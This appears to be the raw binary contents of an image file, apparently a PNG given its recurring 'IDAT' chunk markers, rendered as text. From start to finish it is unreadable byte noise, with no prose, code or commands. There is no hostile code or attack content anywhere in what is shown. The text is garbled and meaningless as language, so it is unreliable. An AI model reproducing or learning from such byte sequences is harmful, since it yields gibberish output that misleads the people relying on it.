1z��c�p���7��L��_T�,�=�@�4-�Q4���m|���#l�S���O�y>�s�^C�X�r�m'��� 0˧?�[�aʈ��3���*z�#�G��~�?�z6fGf�_1����AE
�V,Ǖ���C)_�
S�x�1&�i�TD���gN�|
�O��!F_�?�ֲ���n?J=V:�3!��,^+�W�մ7��}I�G�a�_+ʻ��ڄ���B��U��u�� ��q#�wh=�lń�e�J�3��[���
���ٰa���%0w9���/8rS��$�ak�5w�sN�(*�R&��h7&�	H��~���Z���t�+��Baa��<�?��C��Omr6�&�9G��^�/�r'-�:;@��H���[v����{��9���w�߭%������ cH碫�k��u��9�CI���(��54��AQ"�N��a�o���elD&�1_����2l=�@K�L�/4��u��ݰ�=lڕϘ��� IDATq�ߖC����Q~h�"�s ��^�Ͽ��R�=��b����2d
	�/�h�eT�uC&_-I&����'F������'�l'�y�.�'F�N�N㙝O�Z�x�|�*�#+���}���ոZ�SN��"��f8x��@������%RK��u;����q�HC��2��p��\��	Q�����ؕ�_;���6����|t}p܋^���e&��o�DuaY�.ȴ�*��i���ģ�C6�d��u�ǜ���,6O8������m�5�EUs_�,=ytyKƿ-�j)��+��HB�|/8ө��H������O�4^�b'���/���/gՏ�H޹�+n�����S"�n��;��|�i
�#0e�J�N�؛���s�k���=S���Gn����'P�jU����b�{���_��O�!)�N�Y�B�g���&'�-9
�_�F�N�ct�%�Vf!
"nɅ�1��<�ǿѧ#��<��K�$j%�����	�m�6A��X�P��)���h_j�9^�ߡ �\z֠AW4�1��1G�2�����ਧ�E�ȩ���6 ^��E�xs����Wx��=��{`�3+��̊zd�-�}��M��ٿ���bһ����sޏIUr�I^�6f ����%d)���N&�"J�6<U{1�x��^�̼ys���L�pUUG���/��w�y�����={���E��-�P;��w̕7ԁaN~�	X_b�^o�8�o��L�g���`S6����o��������C��2���kΚ>�[�p�ӵ����v�Ǿt����)֨�d| ��Z��y \�b�k�jE��z?���;\Z8�F�k�y�R@�7�^�'��Ori>і`l�Y6�Q�D��B����7(��"$ ��(�IԔ�	¹���}:���W5%�2�nXƷ���G�8�5H���-�Y�gJN��ŗ���n���^�yAA��n�JY�|�2
?k�B���eS�{t��t/��3qg��(��(���]��l�,|/]�?�/rd#rZr�7V�p��xV�B�<�/)7Xi.��� �?W�����Am��h���5>D���(z�Z��7RV��O
ei�4��*B|[�^��2?ܑ�W1ceP=<�)��y{R1���n#��$��NpG//!��a���	3�†V���T����).�ou"h�H�e��/���7�*�[#��͎,j�x�V�
�G�w'�1b�CAh5��;_ˑ����*�
x$
��*�Sq�
&܊�����
�;�ڥ'n�4�f�<ޏ�Х�ƶC+I�ٿ��CyL�݁��#�L���ҍ'�7�J8�Fy|�T8jX��5D���p\2禖��[)_K�T�H�N�Jk�I���z��\_�H�*��%��^ɇo]�Ĉ6�#-���^����ޓ��&��C�_n�Ȼ�5�]u3텹L{an�v �PP4z4���@h���t��v"��(jӻ�9S�3�f3bȔ��)&�/��C)���3��:���=3�r�b��_2y�>�=�|�1�s�=ˈ#ꍯ�o��c�5�����'tSj�c�.\!�JeI���W���!�̂a��z[L�e����:���8+�Z|����ݯA��X��DF���Ǎ����ɟ��%%���k������3G���h4^��7/	t]l��$�7�a�����^
o��|��o��`�\0m�^t�1׫�X��2��
q�&���C%%u�T�=+�5�a�0k���^{��\��K����g*^?�����sɵEh=7��>�Хi��2W����˖��g�qg�:t���/e�65
$����9�0֑�Ξ��� ��/D/yЉ*s����*�|=�gD���g��2�a�x}���^2��L��D�-%�?��_��=BIY����
<-��^��7�_���X�AFE+�Ck�}r?��~'��K�[nz	����~|8�i�CP���� o'+<x{$��a	�ٸ�w��D"�c��-��V��xt�d%��)����㧤U\����d�LCױk�[͡Å��ӛ�a�R+%�[�X{�w&�:v�k���ˆ|�Ӡ��R-�wk�=M�@�}�������O�o~q3q��ޝ48��?��g�}N��1y'�zy�o�ό%�(��%�m�q�4N2~�	����h���$	†�W�����ʖ�P��B�EOL�?�ٵ�v�ǢorQ�;��w}:��%ʼn[j^�e�;�P��vP<"Z�A#`sFR\�+)�e'�ټs׮Tm�D�	T�Z��{w\99Tm�D������F���/�މ2c�B��5<���g��rKP��O��}�p#$͠��w��g��k����@w���w6 �4*��OĞ�K.��s�ǞH?
3p�0�Y_�ƅZkDo��Տ�<Ak�4�Ht� @Ȓ-|�����^�E{�0�ř��D����0��q�;Y�ٻm9���c���զ�c�FC܄G��Wߟ��u�IR;6��[�	�O�D>�8������n΃'��l!��o��(%%��Ԣ�0�G�V��
�33�F��{g):y饝��WAb�?^x�?Ӧ�~�H�;��x�R���Јy:ǵ,�t�A �޼
X�A<gƭ�H�ۦb�~5<�.8�>��^�U�F����x!�BՊ��|�5�6��۩��ae�
T^y?�������5���s��#(����èa�������m���hH�04�	��)����&�u�X��5��*J�OK��i��Ċ�n����j����Re�"6Ua���Ono�LY~��p�O��#}��' �v����&`�ک�RM�@�ZND�X*�����T
aޝ�"��E��$�g��3,�X���A�_�ʳS\�2�G�U�&
v�̎�U��ڙ�@(�tk��m�~<��#��-�1��>|U����ؾp#�z�m#$?_���;���a�B(�?g޿;3}\,�݁3=��I)|�3~_��5�c��q�1QB�FCP��l�t�aLg;Zs} �`K0_d��U�7�_V{��ߏ���&�ɇ��y����=s�AC����8��m�����u��@�q����k:��I�����`����������fA%|���f����8e狴�?��b6���[������ڊ�MJ��矧�꫿�p�s��}GH���G����Nt�����˅��Wv6�@D�ɍ�9�>��b��K����@�"�<�~����c�x����k<g�|��`�FM=��=Z�Ȳ��&5/���n]Ũ�Q���E�=��|�H��I���]��f�DL|]`<�[?G��Z��&`��h����`�0���4$�+3y(��'��\X�|}��bb�[�Ǫ��}���f�r*W�Ѩr��]��)�����e�F$�KYi���7{.s�e�_U@U�5o��ex6�U�w�sa��'��?&��+��Գb�oćv�T��<�m�n��=ʡs%h��L��߷7�T~���3nx�V,�p��ة���‘�F�S��x��J|�[�B%~����
�5����Yv�8W�!@ ��u�}��7%t$�1w=`P�����}x(��m�r����f�۞b.�xx.	ߑ����3��#ꏬ%r��Qq~�ѤA�K'3�!�4�*�1xIF�S�T�Aa��u�~Ӑu(�9q1<��-�:�V?̡��oŘ�I�-� Jdڂ���-�\CVm�uX�9������됻���	�c���9]$�k3l���S��V���EVj&��e���ޏW�ץ�DB	+Rejl�F�RS��D�mO9�N?��J[��>&-?m/�פ2ڇ�؟{�h��!�qT�<Z��R�]�-|���Vmmr�ɬ�z
�惬8v)
'T�21B)��#r
XHd��m��B����}��8�O[� �3�뫰=��~�}���!��b.��]���J�5�GkZ���Oܨ(�8μ
� v �?E��;�cb�}=9�m��<��aF޻�߲Cɨ�0��O���� ��uƌ"���c�7>m�^'�[��/NL�g�'�d���tM�9t88v-�@�c{aЛZ�]�,���(b.�N��)��� Q�z�UA�+�R׼��Tɍ�=鲛L�M{����.U��2'q�>�وy��|n�dVd���o6��&�$��{E��2����VT�^��w�5ˋ�Fۧ���D�Ҳ�*�T�Jf9�{G��\�]|�-��s���\������-�AP���	��!?ߋ^7z;:��i�%8f?ט�0EEP.ラҠ�q��t��Y��(�E/���\40]��ⴎ��]6�]ETH����ݺ�}�@vm~�������kq����z}�^���n�6��uk>ӧ�EQ@ 11�w���ԩݛ|���_&?�´x�N}t<�����W��O^@���p」?�;?���w��ڭ\��)S2e�@22Jx�хH�ªU����-�k��F斧�QQagժ�,\��G�:�2c�rV�x��'ɥ��0��T$��_�k�`s;ٖwEQ	��SXSΥ���u�
�j�	��h���p�]��-Y�y�8T�ǚ5��u>7����E͜ٸ�7)��/����N�Ի����:gƿ+=���ıϛ�d��]��R�`�䃴�l&���Z���q�`�Jτ㗹���Ee����P���ܹ�,��z�=�_�"�mluF�=������w8���-�tY�iud���@\�p.��.!*�*[�����	��/<�jQKmUf�TU�aw����78�*����8[�e�T,�n@�
jw�܂m����Ƀ�KL��8j�N�+���W]2��=���C�b�A)�|�.�����h"�1O�������0w�6�k~֓\��F[�щZ<�D��.�5:�����m�s�WeXj���'��o��g$�X���o�e��$-�We|;ȸl�M�ێ�_|�w���i
��d:L��.(�]x��-]��ݟ%�Db�J��i�MI��d�
薔�Z���؀�ؖ~B�N7P��ZJ�؅ܪ�
o/���P�ʱ���gSM{VWt���$f��},*��{y����T�hml��#L_C�l�V6��*�E�-�����ZBO2XTVM^qe��m�џ1a=�4c%��pC�H�=vTd  pONj�j�,��­[��OajY0�������*c�+��x$H�؜���'�r��m�Y!V���sem��A����z�ˢ�]���`���
��w����G�ٌ9t���̞=��%K���{�q����m�dΜ9<��C<�ȣ^�lm-, &&�>���BMMM��/�Z{ݐr�-��l@��@�
�j%j��8�c0m.����k�����0a��.*��	k��,aK*��@<.YQ�4���P'��5��q�H���V/ �\���æ�$+Ȓ²��5(��J{SK�9�Tָ
4�|]*����{�ZS/|{�A��ࣶ�2?�Kg�6r1V���pe�+�ם�=N�Cr�7%�^7��P�#����Q��C<:z����ϭw�Y�ɭn�7qo��,�e��|x`�f^����:Q��'�z���A�M�x�uz��շk�9Bbb��yw��S"�Ѩ
�B:j~w����l [:�?h=6��b6zmug�2��L�D��W�jZΏ�%��Z���@@�����<_���Mk۳8��富���2�%ח���P����T��55e�}eO-���@��$b�z�^sr��*���7�W�N	mD����UUӾ?����zv����]��\DZQ�^�	���]�7�z��O�WV�7 ���Py�?�t�hO��j�I�O�,�۴�<J�[LE����Kp���9��_�a�C!�6>wXB�>�`T��1�̪��h(U:b�<��*����t W�Z��� ��T��-G:C�V��%9���l�E���v��&�2��A'����/ r(/���[9�1`�(*)"�7��{�g�k��j햃���]0������;	�*���_�����,x�������
ڹ�,�����C~Qe��o��=ڤM�y/���n!=����O�	�Jg@�X�6E���I|�?��v�9Y����|��|�nw=�g���T���[���1�!o3j��*�Z���CB� W�����@��ߋ@{��[��'/�����|��V}I�I��=���x�E����^��1[Z�� �O`�Bd�@���m =�v����R�����a��s0vl�U��6����|������rn"�F�����Ax�7.#�e��w��V����綻#���տ
"""���C��1�Kc�qE��VC����;�?����{Q$�m�r��d�E��KL$b�H�A�"IٿM�(n���Κy�]�>�Ti�>-u��m�s�7����ʧ{K���\շ����z�o%o±���!~N�Od������������^�H�C
�z�/����-�-��ʊ��˨fz�n��RL!���ML0vb��
��âJ�3DY�;�uCWԃs����ص��!�����t1���G�������&��'�Q��d�z�f����ר���
�¶xf��
�G.�w3Ը[�]�
�}c t�C�z�:��)�;g�����ؙݞ�|���ޱ��s�Rf�r|,�0w��.㒲ͭ��a7�zs}\W��2�;Ye��2a��Rpd���MT���I=��B�Ul�ƨ��>���b\�n}�u�*�
c�{ZC0�r+*�պQKj�qY�T���r�î�^޾�dDk�5�(j	 ��#j	8!�sS�������BpVy�;p�gz��={���=L�׾��\w����t�M�����*� PV�J��tl�r
jn�a���t�&�RIZZn?�U\�"��j]�6�?���$����k�
�D�-6�s��C]���)E�!W�����)C�וi�����ukyl�FD��'���m���he��������%KөS'fϞÐ!��0aK�.���������ر���_�Tol^��k�g3�z���4�ƫg� �=�~�@�X߰���8�\�~��g�9y(���H�Λ^/��뚈���RUu²<��}�������mh�{).�h�8�]�I��1cF}]������R4z4Jٙ�"����h�4�2 � �F����Q��{��f�5&v�B
�z�@JJ�b7��xCEL[�&���[�.]ƕ������?��g�;z"K�.k�Rv|uF�g�g�_f�KCϣޡ��c����;��?���]w0b��]�
�����
������� ���((�J�5��X����n��w�Hmcc�����ݹ�|�|����kF@�A� M�TK�bkT�oB!��-!����Yp2Fց�[�gA��R��R��ۜ!���xxm���YxW[_.���@#����X�V��e�V����Inl�V*����d�Y��b���Q,~���v��(��_P�gq�ܑɮ�e�	;N±��t���NKCW	nNx�d��{�[�u4"愊aП�����S��/����hws���%��,0�E
c�)xwE	�6V5����l�r[h��N�K���g����E��f;���L�P�Q��x�3�Vy����?�L~��][A!K&�W������g�s�q��
4��[y�ӥ�@�̙��,�**_z���5�"պq�|!��4�]f�Ew�-�
��ح6.K{��8Q焠�b�c&_�#��v@�;�s۶L�Hљ3�RRd2$R)'b�Ƞ��Y�Ĺ��X�g׳r�+�z���q/)��v�MȄV��Ļ�h2���ᯈ�0�B�%f�c���D6�*�^Ad�.@�Ù��}���v��E�})��j���B�<�HkExL IDAT$"�ݽ@5A"�9�
vю�#�
M ��$�;�58l������ÿg0p�l�^�~=�9���%وT*�'�%{w��ٽ��9�-�8z�O��ith�Ś2`�r��o~Ͽ{�\�T*�h�sG�g��vO��cPV��3�j�"�v�Gۨr��s�A-��)���h�}�6�6i���ܭ����%�7�&8X���⮑@��R����L�Gk5��T��ߟ�2��&�r�?��
��s��R���
�j#yڻd���>a���^�W����ֱ1(dX�f��
"�V
1�(�I�0��h����fD, �0�i�n̋%1�L{�C;w�,w��?w9���&���;=n�}�2n��q�����y��o��l�n�*�@�����^�8g �n%X"�
�%9��^K���s�6:{�pp�j��N���:j��P��1%b?k��D�DG!�6��.%T<w�!}|��� Wŵ{�'d��Z|5�g�`����	�U��wՑ��C�Ⅹ�{{�5�Z�|U�
I��	U'���~Md�8�T5���$j��@�a8�$�>�(�0�S�� ���'�|6,��1P��ݩ�C���C�/#Ѩ�~�)��w�x)�Z�u�b���y����$��� ��d2��I�hB��Z3�G܍xJ��K�.]>�К	�jȱ�]w~�R(��S�mV
v�~�{�W�CU�~��K�
F��¾��4ұ�*�ț���-�ˣ��7����dR��cN��~N�چ�T��=xu���W��=A���װgϵך5�O>�����O_{���ľ�`03i�w���YĬY�����s�%��#�T��OD��95���Ñ{z0c�ͷ%
�]���}$�r*��H{�ID˭A.#ZF�F7i�H�"Z֗����柮��|X'�	�D =���f��;_`�&�j�����Ahp��B�8af����3���!�vlE�䅯���{�+����I�C��2"7��W��M�
������-y�<���Ɋ�w�ݥaϗm�lX�kwGP]��2?w;i�w�sRͺ�pkB�eQ�@"
x�ԯ����� �ah��4���NY`I_��r�Y�Pkz?<�:�"�(&�C�&�m��ʺ�oA"�s�M�h�P�t,<���M0^����3ruԭ�L|z
�7��dR=
�]:��A�䌙�
�NCA�����r߮�>�F!�حF@D�i�	}���=r(��E��9�`�/3�U�G
GU+��5�V���v���
��|��P�;�dn*�
BP:l{����V~X�K���$����H�C!z��	�n�����)ó���3�F�M�(�j2�%�ww�<��Q���KH,�䗤V:N�љ=
h�H]��.A�����c1�#�;�1OI3�0Vs�����Dg_;Ouv!߷927?��/�e� ٩|��G��1��o�((�RP�)��>z��6Q�'.eQ�p���̇3���Ф��O^�O���R�gg#��k��}FסU��J�y�^:�D�}-����Fj㽦�L~�ܭ
�(A��&f���vB1SN6��R�����o�����o�����Щ����\�0�� �����$Şrs�S�A[y\�i6�FYy�%��q��i6j�U����۱`g<2�;rx&X��$��Ч�y9 	;��	jղ�y�y��Ѕ���@��*$��D-���k)))X,�v�@jj*6�����_�
q�%�um�=�.u��ϰKh�q
��i(3�����O�C"T�1�֋Z��H�4A.�R�ÓE���s�˪tlX)4��wf/q����և�
�,��6�M�T�m�n�3)�@�>p`����$.�Γ(���\�ƥ��w\�C(�D�04�^Ğ��e�A7W�i�'�ø|5����Ur����S_�/~��VO���NE������t�Y���_�}��www:rsתP��F�R�L��ۄT&��/E�;�:�af<���K9]��C�d�2�^J��2�ؔLQ�x}qkg7��%��d�bU�@�ƃ�_~Cw��Og�z��_o��Gi��Y��$��ޮbs����_?CFFs����?�s	��� ��\��,\���SOu�G��,Y��u��Y�.�n��?�a<�Νg9��`;t`�!lۖΒ%�?~5�!_���|��qQ�9�W��}ۢO���,(A�@��I�O �">�~��fMd �ۦ�=�X�F���@��5#�eg������$񥷰8���#8&H%�L{��o�$"�K=F�`nC�WZޏ����D����.�m0��o��Z�Z��_�	sv6��D��+�ڹ%R�
��|z�V�[疕���M-�ک���=J��ߪD�8�O��]q����8���������>��^X�s�Ө�&����X��,VD�Kbr��D@�ɰf��x/B��q۴uϿ"D&e���|�D������_*��"v��L*�d���](:�fiP�[>�sO�"�/�y�h�
�5j2�
�����K%�0�K3�:s�mv;�MT)�]��T�!�R����������ZIX����qJ;�C~�T�?E�`��E�o��\`���94?i��6���Ȁ��O9���Λ��'�Z���ɓ�޽����f������A� �W��%@g�[�ǣ�Rg�r�֮%u�D�
A*%c��*��߿?m۶EQJ8=�kmND�&u"Mz�3a�v
���L&����ԩ�}O��T�'���WS��gj��r�"|]�<?�6̹�$��J7�%"~X�7�o�l����O�I_���Yf$@���.����HA05Ty��ٞ[� �h����Β��0��{+`�bA2�����t&ِî�sH%9�B$��W�;)��i�Q���
�W�Z�ep�A���5k�P���+"��T?i�W_}��ٳ��T����+����9sJ���9#�m�i���ϋ��^F"	�!{�4KFƿj�x�b֬Y�\.�\z���t|��w2}����rȾis�ue�5�mf�~��˗�{���É����?FEJJJ�4�,���IdJ�c�YTKF�R��t{fׄ�C�*��os���Q�m:224�䀨��5��
�ຟ�8P��X*q��X�����������񜴫H�#�T3B����9������E&tZ��Z�?/'�^���MCJR"�;�&�=�ԙ���4l�I��h���1|�%�����
�+%|��\DH~?�Jmˇ��Y��P:��)�{��ZY�A�#��wcm\̿��Jx��
�?��ж�ǖ��p�	��垩{fq[.�&��?�+2���N  0�QK,6i�zN�\&��Έ����BYSr��RR@�P7�_�z���0���B�lނF��o��uek��|���w���Z��/���i��%vޗ�1r�֚I�j>�"?w�ec�+���p�W��.bj����(��w����2w�A���S���9X	(�{���;0��Pc�m�rk���
�tz4K�md^�I�M8E^I���a��p���	� �n�T(�Vú��ch�rH��[���'���4hO`����O�Y�B�BV�8�s�w�l�W����c�f�$�kg�����ۀ.��o���v�c�+���j��u��Q�f��`�zx���=[Ū'7�^^M��'�"��:{��H��U����ӄ'��T��s�%���$!/��0��2�s�'ABm_Bk6E�p�l�,%�¿���)��vߢ_�"���&���QVhA��W/�AA�bb����t�yWQ������TֿQ�7��W��)IL�C����³��#��;H�E4���c�
�-�h���I��u}_�*��wg�����3E%f䲊�`~���7��[o�x�s�L��u��a6�� EZo?��~3�p��yH�f��j\��PB梕d,\��T��C��|C�f�����60����)��䢎ob�c�
H
/	g/ۙ��O���17wvu���^7�I�1HG=
<]�Ǐ�^#~�"OCʇ��l�S��l,3TC��xĞg��������K�Z����}c��٫�K�][�����M~~>�5r��������$��>���	sa1���sd�7dG�=�wA$%F�N:RN�A]T��I#2v�F��nǔ������r��y�3�m��b)�?K�C�|E^�y�=>�d
���^ ~x��,���r�ى[o��nj��_smR֞o])�/o�:��)լ�\6Ԥ�o���K�ze~��@��	�a��3–�^���f�ř�~��ֵ)Qjo6xDz"<羟�D�	A�p.�OZ�X��{���C)+BV(���Jҟ y2�B��YJ�U�E�� .[N� #.j;��4�Uӭ����"��o`�4T=��_�N+Jo;9:t���X)�Py��+��ୟw�s�7ƚW�M<���'S���w���L��D�y�xV����	����O"~�0����h���
#�cd��p�g�%�`�U� ���{��S���6��6ҵΘ4Z�
r騒cY���q�8�s��П��X��%�ϩ�+��J����J������qѵ}��̭W�9�v����T*o�u�1&���>�b�}�EJ
%NNx�����*��2�Ld�8�������n�0}0��DD;H�vJ�>�ž{�i+����MV��kUM��-�C�"Z2�8wъ5f"��d�H<-���R3���)��{`�־�3�'U(��������-�=aVVK�.c۶��ѽd,��@�����p��V�����
hlv��R��(0���2Z1&I�0�$�oD��T��a��w
ƽ�˚�8�~i�?�F�
�Ӓ5?�7{?�]�zt���a-]y�R9���	���>��r�l��dt�ʻ�$�}���
��d��s��:/���P!�`���0�3*h7���~�{�]�KۃF
Ӧ	̟_��Z�`�J��]akT�[Gr�����o8p]�t��ۛ'�x�6�ٸek�-?�s�������$H��fB.W�R�G,*B�R)Z�H�e���xGqt�@�柽B9
sN=~��-�<ݞ��w"��2�;J��,��X��!W����� w�\�I�AE����);��i�q�-������B��q���d��ɩ��Z�X��{��/�Dך���\�p�}T�8�Z,�������b<A���C[��9!�G��c2[P*ʏ#�E4�9���%H��2mG#��W��~�oa�+^��x��E�;l�C{(X<M�M�瓑#ұ�+�
��%�{0o�EΥ{�{d��nϥu6͇�����OkŹMo�e�iq�?L�m.
ܰQ�R�eA�g�v�+w>�m��R��I�!t|�=�~$o�C��[�F����#�3z4���s�o����V���B.g_Z>u���u��yi9��C�Q^K���9����n�P�ϗ��r=���>߃,s%�"�^@.��3�����y�I�'	������;�4l�&�.�|=�  �h(:{���Wz�-.bh���>R6P����s9�p��������n���|I�l9X��o$�p`��B�}�la�"0��4���V+�=�;
<?�xI��C���|�y5�u^x5쇵D���nwD��O)�l1��HMC1=�9E���[������7���g�Թ|���rw�j��VZ5���q���{��k��޵P��l�u�n4���#��G��vc��_�[�ug��H��c7��h�=F��,'�`ٹ�Z�n��tN��A�7�j�%���xz��k���e��!���VK��dA�xid�
~�'gB�i9�
l|�/�o�K�[t�>A�"��]?A&%裷�~�rV�@�7���j4R5��Ë��"�\�K��w&��`
�Wə����e����P��{s�w���b~�

�E<���̓ǘ���G~0s��y����S�ۋD�w§i]de��pu��h��Wa4���-bϐ�弁<�����X>DEƹ{�l='ҋm|W� ���F��>ń	�ر#�gĈ����C���L�2�9����* Q���p[�'�y.�� �̫s[���4��Ow��:+ׄ���H"C��A���zu�ۓ���:d��R��`�\oϻ�(ʺ�)�Ӵ�m�c,�Z�ׁT�?��x~�u�UJ��ε7Mz��_��}_�;��E*Cݠi�RQ��4�"#{N'�\�	����G�/D_Z��A\�rreu@j�lS ZJ�m�L�Ыd�{f�9�.N"�Ty��Dr"��i����@JΟE۶��,i��\�d��l�Z����b�;�ZN	|���!�$s���7�y�xO���)�1��ᷔ^��ZvO�?��Ĺ,DΧO_O�ww-��֋�^��L�ׯ��K�2��u��m+k+�TP�=T��DG_�^�}�R`�|�'MB�J��0*xF�Y�����_��=�TD��ͺ/�ٰ�]�ߺ�Z���%7^cO�ނ�@`��f,�y��;ooL龸uڋ �s�t���~����G�srA�|K�g��9��LJ?_%��M�+Iq����Ŗ�-LH�H�%����ĭO�龰N:zċ�����0Hq*��l��Y2�+��OZ�;�`ρ�eJw��*wۅ�=�5���
_�T=p�~�C.����vF E}�*G%5��
1��B� AZyD`Q	^��|�wcl�O4��C��H��O�N�|���� J�LwFu�Kt��};�}�cȽ�h�T�;�>U��KT*j͝����;�*h��{�����Qx{ݒ���$�=�D)����X2�H�{���b�}�9�㚑��a����/���x��ώ]�>9��uģ�֯@]��mT +�-4CB� E�GQԼ���'k���.�y�UL��ԡ��y�}�N^�D������Nw��n����4�~��
�9�/�׾�zm����Y����/D�X�>���"��_�R��@SW��01F�k�.LHѩ�,�=�d��(�2̖��*B�\�4VL����y{��4@�0O~x���Ox��M�7��r?�����uZU(�@�L�{�Y��,!:�׋G3����}�f*��sw�	{2ݫ����S���5�j}���+�֨8
&ޘd�y���w>�Z�2����g�m;l�]Z�9i�2hIF��f�(w�����:\��yYh`��E(�'���͛#LY�+�_�0��W�f'w��r�tiǽ��'q�8��K�xH
}o>��w��a���ϴ�R�a�k�	����oW+�VCа2YՁ-F�Ԧ㎃�>�[z'3��c��9�H����T���Fb:ԬPoi�Q��u�ki-WW{{7Z��c�/Kxc�-�P���];�)�l;�	�c7b�V(��WW���Ǹ���#�
9X,�~����!	��{�����[�ރ\�
�}+�eԮ
NN`�@^�t�^���Vu�Ti���A097��>���W	�rv�U�o�����*�����A-G��VU5{0��\��v�B@�g��1f�����AA�|�YO��F�'�h\��Fh�c�3�-3gn�ĉ�N�ɓO:�{��̙��;.зoc��� <�X-���Ǩ]ۋ/��Z����iF��'��l\����j�/Y��|��QQ�<�X�2�������V�}�jE��-���z{#���]��/Rh��O�����3��mx�'��<9|>�L��VFsσX�����/>T�����k��W��'�ѶkI�k�`/6�0�
�<@�G���U�[��^y���‹I�e)СbXN�S�Z	_�%ҹL�+P\�|pUD�|E��F���r=��H$����Sg8���K�^��41��\��J" ��q0��Ké�8ȟ�K�K2+����	��RI�JA�2�2$&S IDAT����4 ��:�V����0� L�1�_Bu���m
�R�"
����_+:�"�J8�ʢ�'�Լ"ݕg��$o�@�z�t�)>�.)2�����ukJ�f�Q�eBDr6_�>��l
��}��GZՅҭ��?b}�O��t4&aI�Y�H8���0�<f�59h�*��V&��5��`X�f~ `����=�={v���F`�됛+�{Kdt�%�wV��-[�X���q0��C��%�;uœ��)>��?���n0X�j���&M���;���BY�#�s�o
hӢ�#����g�CTT�O���g�E�Vߗ����o
G��Ӡ��d�fl +=o�I8�9q~�!6N�`�w�\����I�[V��&��.���ן��*>O���s�Jk� �s�r�2�6x�B�D#m*k�[�&7��-��	����mtjB�v�7�}��H�}���۶�s Cz�+��ԧ�os^:�%�s.�\�,l1�C.�r��6a��b&��]ie��?���)���E<��u��	�>��L?����z�e{&���M��V��\�Pw^$ǎ����3���׳�ڡFb~�>��[���ꜛ��R�d�С(�JA�������"��r��~o6���o��;���,�Z�U�k�V,�1��tO�$��3�W\����ګ�j�<A����6&��f�Tn�"��%H�͈�"�P��r��b@D)��U���4rG��EmE~(��஠;���	yhTr�&Bt	��:��<���A-�c/i0Zظ3�u�]$��|~���Qf�(�w@�b�AT{д+�3d���i`7�J�Ƌ�Ͽ��O��1Pz��h��
��m�Gf�P$�mD:��
\�Dƞ�����(Df�q6-	A��t¼�)29�����Q�n��maF��l�<�e�+~�b�
_�5f�c��Y��-ڣ�0

�Xy������v /n˩����,��Yr�c\���Q�_{��h��G����R����5�p�G$+xdg���>���p+5|B	ȸDvրB�ͲX�X��
d����w*/���q-��ȹ,�����l,6�}_�����O�]��bE��G���}V��_���__�@��\%��r��B�uQ��'}�
Tb��RI�ѽ��l��|�)�f�D4��IC��J�> sH��GB~����'�9�mpm@o�"��t�!�^Έ:/% ����v'`�yL��3e���
�s�!��ɇH��Sb.�@���fa�N�x�����1d��Ѐڥ>cc�݌D�F�\�_Y�����p�8T�go/Ύ<Ǝ��Q5n�@�}$��3�g����{*?�Y�����ɽ��Äю�?����G��-�e�@�����B�N�	r�y�7�D����'�����2�S\��fs�W�� ؘ��EE4	z�~�%�m&rwwg���^��V�#eW��!�s�P	����RU}ƌ�U�n#��P)�: ���N�}�9��š�z�W6�o�6��>�='�b��/���Bcu|j3�� >���GE��"O~�PE��܀D��w�g��G�;��q�t�T<ò�_�E��+b��s��~�m/�4�=U,*}}�v1ć;FYߪ�딩���]~{c����ԗ�ـ
�J����]��UY^���$�?N�$�
�TX�`�ލ�/`(�8&�~=��?��Ĉ��
'/wl��<�3���,ؿ��8�3@�:E��s�a�ϙ�7f���j����2>l|��������/�:����>WVY�;��){����FMn{��~��R�5nlr���Nc�L6U�e?f� �Ə[G[� v[�}?�	R%��LzA.*�LoL;�t�&VAK�DG�%�H�'N�xrWiy�\pbR'=�
�B.�d�;�/j�
����ywă���@�`��$���k;+	��I���߭��Ҫ���}���U���b�����2��2~
]����|��B���_�8�G�aݯ~oZ9�Ե�.�:y �"ZY�+���D����&Lل0�`(���)R
;ɳg�Zl�����w��c��N�n����"����TTtCt�����K�������дiS��g���i� �zŞ���s�U��Xn�H��*&��.�cH
�\��כx�Cv�NAI���!���z�@;H�C��<��0���h�p��Z�2�S���h�
��d8/��J��dFw:ϧ�ᡫx��k�'�ƈ���6Fw�ʯ8|��
c��W0y��J���H���u�LT(��l�F��yo�-��woX��ؑ��]c_���W,�;�z�/�����F
�r�%_���^�����<�
L{b�����@Ѻ�CG)Z��_��bQ��H���d����={(..f�ҥ�>c�[H�R^��w2{��^X�XiO���@da
��^o~���|��ʼn�	=� r$�V�=�}5��-����ODE��&��s�`��MP2a�Ǭ�z��YDQd���<�ē4i�gggV|�k�]S!���^��=[����5U%�)J�*4ޝ�&���22@"A��^.E#�WJ�F

)�W�QB�|��(���b);���b���c��_U�Z�/_:�.�~�}��bSl�a�����
�&$⧫��
1<x+C��G�'^�g6�e�5�whܞ��{0�/P�jC4�W�Bm���;�T�y^y����*D�(��z��g��Ҷ�5���n.L�ߢ�umcB��c˕����s
|>�Eۥm��
@_��$;��-��Mx�JX5[K����\R���4�+Cƾ`�ݕ?ckѱfΪ���敨�p�>��U��J~|�)�e�d�<����c)fEǛ�f����;�C��BS1��Ⱦ�b��7�v���8�q��b���"
�9s�x�]��lTV��kBg�)�;�'���B=��/�F��$��H
/�v�~aV
�e��٩�\H\A��rY1!5~,U��
�|�Fy�Pg.uj�|',I�w���[��>�	E@��\.#����,ߤW���Vȼn�dm��#yڜjm�C2������"��n���W`�1@�
�^}�&pe�2�i��T����c7߹vj��|����}p�$�^'Ч���	�Z�B�t ޯ�t�jQu� �mZ�(	aUIZGf�s�F:~�m��;r>�!u��4'#�����P��ʃ���r�h
F��ޏ���ޣnM�yFy�+o����N׮A��R�prR��{G*=���[Uk�ako�{�ě@��h�w���	�++�+K?@��O5�f�<Nd��z�\���̙Ӛ����%�� ���w�V�J?�S��znE��HM���B�� ��m��'gA^nj!�"��h��Vo�&}z���Z5�*>S'�����{q�:8����/᧺��~��7ޣ��ѩ�����	� ������'1_�2�G���iUH��1H����FR�կ�Ɵ�� �,�D���Z����2��G|IY"�D&2���T	��^v.&Y�˳�N��wS2A@�F#;w�d�ΝL�:���B0`0�F�%44ay����N|T��c�_�5˙v���y1�a~*.|�R���2s�54��6Bj�0�l��f�P����Q��5��$�V�ʨ.�Ԩ�����hۖz& ���W��A;�|Sr4mA;n�j5��H����Š��ٰ���&}
;�B}Kh�x���s�id.�[A!����ci���֮w��o��;��υ#��o"CڎfL�%�����J�@�gK�R
�֛��:E�L�_�C��>���+w}us�����|�F�)�WeK�
܆����c)<�y;�j#��.fj��}g'~�
�
